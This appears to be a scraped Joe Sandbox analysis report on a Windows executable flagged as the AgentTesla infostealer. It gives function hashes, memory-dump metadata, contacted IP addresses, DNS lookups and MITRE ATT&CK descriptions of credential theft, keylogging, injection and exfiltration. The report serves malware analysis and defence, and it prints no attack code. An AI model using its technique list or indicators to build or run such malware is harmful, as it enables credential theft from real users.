Opcode Fuzzy Hash: bb8e0cc0388903fe64571b62f1478944572cc5df6796e3fe6ae97a95d863ddbd
Instruction Fuzzy Hash: 94F0E571E286487BEBB0CE78DC0576E7B689B02228F10CD96E448DB1D1F576CA51ABC1

Function 06806468 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa976699a50b98a0a6b50c08d3026a88d70fc42e5459dfcadbf44bb0d2ea6d04
Instruction ID: 97eae141f3efc3535430f4a245d637d430bec12ac7ef2181b38d1ec886bc8596
Opcode Fuzzy Hash: aa976699a50b98a0a6b50c08d3026a88d70fc42e5459dfcadbf44bb0d2ea6d04
Instruction Fuzzy Hash: 80E08C71E10109BBEFA0CEA48D0575E77ACDB01218F2088A4D508C7281F172CA918380

Non-executed Functions

Function 06807688 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$^q, xrefs: 068077C8
$^q, xrefs: 06807C24
$^q, xrefs: 068077BC
$^q, xrefs: 06807B85
$^q, xrefs: 068077F9
$^q, xrefs: 068077ED
$^q, xrefs: 06807C18
$^q, xrefs: 06807C2E
$^q, xrefs: 06807B79
$^q, xrefs: 06807C3A

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2222239885
Opcode ID: aa823414e81c87d7a86d5d858b0eebc48a42fc2b8edad7805091516d0363d81b
Instruction ID: 2d08fa116b0c679c379e219daa68013cb1f6d51882a4d85d665919fb0a258f46
Opcode Fuzzy Hash: aa823414e81c87d7a86d5d858b0eebc48a42fc2b8edad7805091516d0363d81b
Instruction Fuzzy Hash: 8C120F30E006198FEBA8DF65D954A9DB7F6BF88304F208969D509EB354DB30AD85CF81

Function 0680A918 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$^q, xrefs: 0680AACA
$^q, xrefs: 0680AA75
$^q, xrefs: 0680AAA0
$^q, xrefs: 0680AA69
$^q, xrefs: 0680AA0E
$^q, xrefs: 0680AA94
$^q, xrefs: 0680AA1A
$^q, xrefs: 0680AAD6

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 80a74712aa080dd66186bb2ae69736d67f4e23f37a897a812ecee1595c350a93
Instruction ID: 35a78bbaa0bec906b90c240b8c7f3de6daa6ea936ba1f24fdb9100b0acf1ed27
Opcode Fuzzy Hash: 80a74712aa080dd66186bb2ae69736d67f4e23f37a897a812ecee1595c350a93
Instruction Fuzzy Hash: 07917E30E103099FFBA8DB64DA55B6E7BB2AF84304F208929D401EB2D5DB759885CB90

Function 06807088 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$^q, xrefs: 068073D0
.5vq, xrefs: 068070E3
$^q, xrefs: 06807590
$^q, xrefs: 0680759C
$^q, xrefs: 0680736A
$^q, xrefs: 06807524
$^q, xrefs: 068073C4

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: .5vq$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-390881366
Opcode ID: fa75b8fa899f519a7ef85e3a4c4f7d86b0fcc5be2e5caa8a58cf943990fe2519
Instruction ID: 39d79ae28ebc6f0509f3658273046ac0b399c1647fb7bd78bdf0f4336f20a6b2
Opcode Fuzzy Hash: fa75b8fa899f519a7ef85e3a4c4f7d86b0fcc5be2e5caa8a58cf943990fe2519
Instruction Fuzzy Hash: 0FF14034B00209CFEB99EB64C944A6EBBB7BF84304F148929D515DB799DB31EC42CB91

Function 068083C0 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 0680868B
$^q, xrefs: 0680867F
$^q, xrefs: 06808626
$^q, xrefs: 0680861A

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 551d6e67cf6d0600ffc8d1ad6f3d5b8ef5b2a0a08b99f33fd643b973e5068191
Instruction ID: 3e954c554f3c470ed2115171ec62a8f36ebda78d6f9f2bc7fec21b058dbdf1dc
Opcode Fuzzy Hash: 551d6e67cf6d0600ffc8d1ad6f3d5b8ef5b2a0a08b99f33fd643b973e5068191
Instruction Fuzzy Hash: 1BB14D70B10209CFEBA8DB68C98466EB7B6BF84304F148929D515DB399DB75DC82CB81

Function 068087D8 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$^q, xrefs: 06808857
LR^q, xrefs: 0680891A
LR^q, xrefs: 068088CB
$^q, xrefs: 06808863

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: 4af72dede8883735f9a2252b370eb59107d73e4910da6b47e9b853224a262a70
Instruction ID: 65cc16ebdc3ea7752ac19cdd3697391c1945358bbbbefc0d179e1812e64207d9
Opcode Fuzzy Hash: 4af72dede8883735f9a2252b370eb59107d73e4910da6b47e9b853224a262a70
Instruction Fuzzy Hash: 4051B430B002058FEF98EB28D941A6EB7A6FF85308F148968E515DB399DB71EC85CB41

Function 0680ACA3 Relevance: 5.2, Strings: 4, Instructions: 163COMMON

Download Yara Rule

Strings

$^q, xrefs: 0680AE24
$^q, xrefs: 0680AE7C
$^q, xrefs: 0680AE53
$^q, xrefs: 0680ADD1

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: da662b43365711516d6a7a7e526c85239f400b6dd7f9ecbecc66a3ce841a2946
Instruction ID: 3333aa0e4036e7cbfeeb9a7e68cbe7786a4bf5c4e1dc90eaa238346a5deb760a
Opcode Fuzzy Hash: da662b43365711516d6a7a7e526c85239f400b6dd7f9ecbecc66a3ce841a2946
Instruction Fuzzy Hash: 86519030E103098FEFE9DB68D9806ADB7B2EB84314F108929D905DB396DB31DC41CB91

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.247.165.99 104.247.165.99

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hesaphareketi-.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hesaphareketi-.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
hesaphareketi-.exe

Function 0275590D Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Function 027544E0 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 0275B3F8 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Function 0275B3E8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 0275D419 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Function 0275B020 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Function 0275B699 Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Function 02759D90 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 06807D68 Relevance: 3.0, Strings: 2, Instructions: 471
COMMON

Function 0680ACB0 Relevance: 10.4, Strings: 8, Instructions: 393
COMMON

Function 06809138 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Function 0680CF30 Relevance: 4.6, Strings: 3, Instructions: 804
COMMON

Function 06804B58 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Function 06809127 Relevance: 2.7, Strings: 2, Instructions: 170
COMMON

Function 06804B49 Relevance: 2.7, Strings: 2, Instructions: 154
COMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre